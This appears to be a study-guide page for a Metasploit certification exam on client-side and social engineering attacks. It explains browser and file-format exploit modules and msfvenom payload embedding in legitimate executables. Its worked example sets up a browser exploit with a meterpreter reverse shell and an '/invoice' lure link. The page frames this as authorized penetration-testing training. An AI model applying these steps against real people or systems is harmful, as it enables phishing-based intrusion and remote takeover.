I85PREP
⌘ K
MSF RCP study materials
MSF RCP study resources

MSF RCP: Client-Side and Social Engineering Attacks

MSF RCP · Work through your exam, one topic at a time.

All guide sections

Client-Side and Social Engineering Attacks

Client-side and social engineering attacks tests whether you can deliver a payload through a user action, configure browser or file-format exploits, and run a handler that the victim can reach. Expect questions on SRVHOST, URIPATH, msfvenom templates, HTA and macro delivery, and Metasploit Pro phishing campaigns.

Core rules

  • Client-side modules live under exploit/windows/browser and exploit/windows/fileformat. Browser modules start an HTTP server and a handler when you run them; file-format modules produce a file you must deliver.
  • SRVHOST is the address the victim connects to; SRVPORT is the listening port; URIPATH is the URL path. LHOST must be reachable from the victim, not just from your console.
  • User interaction is usually required: a link click, a file open, a macro enable, or an HTA execution. There is no session without the user action and a working callback.
  • msfvenom -x template.exe -p ... -f exe -o output.exe embeds a payload in a legitimate executable. Templates must match the target architecture and be tested in a lab.
  • Metasploit Pro adds phishing campaigns, landing pages, email templates, and tracking. Use only against authorized recipients and within the agreed window.

Worked example

Use exploit/windows/browser/ms14_064_ole_code_execution. Set SRVHOST 10.10.10.5, SRVPORT 8080, URIPATH /invoice, LHOST 10.10.10.5, and PAYLOAD windows/meterpreter/reverse_tcp. Run the module, then send the authorized test user http://10.10.10.5:8080/invoice. Reasoning: the browser module hosts the exploit and starts the handler; the victim must reach SRVHOST and the payload must call back to LHOST. Test the URL from a lab host before sending it.

Traps

  • Setting SRVHOST to a public address that the victim cannot route to, or LHOST to an internal-only address.
  • Forgetting that URIPATH must be unique and that the server must stay running.
  • Assuming encoding defeats email gateways or endpoint protection.
  • Sending a campaign to recipients outside the approved list.
  • Using a file-format payload without a matching multi/handler.